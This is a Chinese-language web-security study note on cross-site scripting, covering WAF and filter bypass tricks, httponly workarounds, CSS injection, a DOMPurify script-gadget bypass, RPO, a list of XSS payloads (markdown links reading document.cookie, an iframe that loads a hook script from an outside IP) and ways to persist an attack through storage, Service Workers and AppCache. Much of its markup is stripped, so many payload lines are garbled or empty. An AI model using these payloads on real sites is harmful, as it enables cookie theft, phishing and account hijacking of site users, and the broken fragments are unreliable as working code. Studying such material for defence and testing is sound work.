Web安全学习笔记 XSS漏洞分析下


Web安全学习笔记 XSS下

玲珑骰子安红豆,入骨相思知不知。 ——温庭筠《新添声杨柳枝词》


  1. WAF Bypass
  2. 技巧
  3. Payload
  4. 持久化
  5. 参考链接

Part1一.WAF Bypass

1WAF 绕过

利用<>标记

利用html属性

href
lowsrc
bgsound
background
value
action
dynsrc

关键字

利用回车拆分

字符串拼接
window["al" + "ert"]

利用编码绕过

base64
jsfuck
String.fromCharCode
HTML
URL
hex
     
window["\x61\x6c\x65\x72\x74"]
unicode
utf7

+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-

utf16

大小写混淆

对标签属性值转码

产生事件

css跨站解析

长度限制bypass

eval(name)
eval(hash)
import
$.getScript
$.get

.


使用 。 绕过IP/域名
document['cookie'] 绕过属性取值

过滤引号用 `` `` 绕过`

Part2二. 技巧

2内容索引:

1.httponly

1.在cookie为httponly的情况下
可以通过xss直接在源站完成操作
不直接获取cookie

2.在有登录操作的情况下
部分站点直接发送登录请求可能会带有cookie

3.部分特定版本的浏览器可能
会在httponly支持/处理上存在问题

4.低版本浏览器支持 TRACE / TRACK
可获取敏感的header字段

5.phpinfo 等页面可能会回显信息
这些信息中包含http头

6.通过xss劫持页面钓鱼

7.通过xss伪造oauth等授权请求
远程登录

2.CSS 注入

1. 基本介绍

CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。

2. CSS selectors

"http://example.com" id="form2">
    type="text" id="secret" name="secret" value="abc">

上图是利用CSS selectors完成攻击的一个示例

3. Abusing Unicode Range

当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下


"sensitive-information">AB


当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容

3. Bypass Via Script Gadgets

3.1. 简介

一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。

在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。

portswigger的一篇博文也表达了类似的想法

https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。

下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。

3.2. 例子
// index.php
<?php

$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);

?>


"en">

    "UTF-8">
    Preview
    type="text/javascript" src="purify.js">
    type="text/javascript" src="jquery.js">
    type="text/javascript" src="jquery.mobile.js">



    type="text/javascript">
    var d= atob('<?php echo $msg; ?>');
    var cleanvar = DOMPurify.sanitize(d);
    document.write(cleanvar);
    



// payload
'-->
<script>alert(1)</script>'>

4. RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。

Part3三. Payload

3常用







M



M






4大小写绕过









"alert("M")">



5各种alert














6伪协议

M
M
M
M

7Chrome XSS auditor bypass

?param=https://¶m=@z.exeye.io/import%20rel=import%3E
M

8长度限制


\...

9jquery sourceMappingURL


10图片名

">.gif

11过期的payload

src=javascript:alert基本不可以用

css expression特性只在旧版本ie可用

12css

"background-image:url(javascript:alert(/xss/))">

13markdown

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6Aavascript:alert('XSS')>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

14iframe

'
    var sc   = document.createElement("scr" + "ipt");
    sc.type  = "text/javascr" + "ipt";
    sc.src   = "http://1.2.3.4/js/hook.js";
    document.body.appendChild(sc);
    '
/>

"data:text/html,">

#x6E;load=alert(1)>>

15form

type=submit>
M
type=submit value=M>
type=image value=M>
type=image src=1>

16meta

"Link" Content="; REL=stylesheet">

Part4四.持久化

17基于存储

有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。

在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。

18Service Worker

Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。

在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。

19AppCache

在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。

Part5五.参考链接

20wiki

AwesomeXSS

https://github.com/s0md3v/AwesomeXSS

w3c

https://w3c.github.io/webappsec-csp/

dom xss wiki

https://github.com/wisec/domxsswiki/wiki

content-security-policy.com

https://content-security-policy.com/

markdwon xss

https://shubs.io/exploiting-markdown-syntax-and-telescope-persistent-xss-through-markdown-cve-2014-5144/

xss cheat sheet

https://brutelogic.com.br/blog/cheat-sheet/

html5 security cheatsheet

https://html5sec.org/

http security headers

https://www.invicti.com/whitepaper-http-security-headers/

XSSChallengeWiki

https://github.com/cure53/XSSChallengeWiki/wiki

21Challenges

XSS Challenge By Google

https://xss-game.appspot.com/

prompt to win

http://prompt.ml/0

22CSS

rpo

http://www.thespanner.co.uk/2014/03/21/rpo/

rpo攻击初探

http://www.zjicmisa.org/index.php/archives/127/

Reading Data via CSS

https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html

css based attack abusing unicode range

https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

css injection

https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce

css timing attack

https://blog.sheddow.xyz/css-timing-attack/

23同源策略

Same origin policy

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

cors security guide

https://www.bedefended.com/papers/cors-security-guide

logically bypassing browser security boundaries

https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries

24bypass

666 lines of xss payload

https://gist.github.com/JohannesHoppe/5612274

xss auditor bypass

https://github.com/masatokinugawa/filterbypass

xss auditor bypass writeup

https://www.leavesongs.com/HTML/chrome-xss-auditor-bypass-collection.html

bypassing csp using polyglot jpegs

https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs

bypass xss filters using javascript global variables

https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/

25持久化

变种XSS 持久控制 by tig3r

http://drops.wooyun.org/web/10798

Using Appcache and ServiceWorker for Evil

https://sakurity.com/blog/2015/08/13/middlekit.html

26Tricks

Service Worker 安全探索

https://github.com/etherdream/sw-sec

前端黑魔法

https://github.com/EtherDream/web-frontend-magic

相关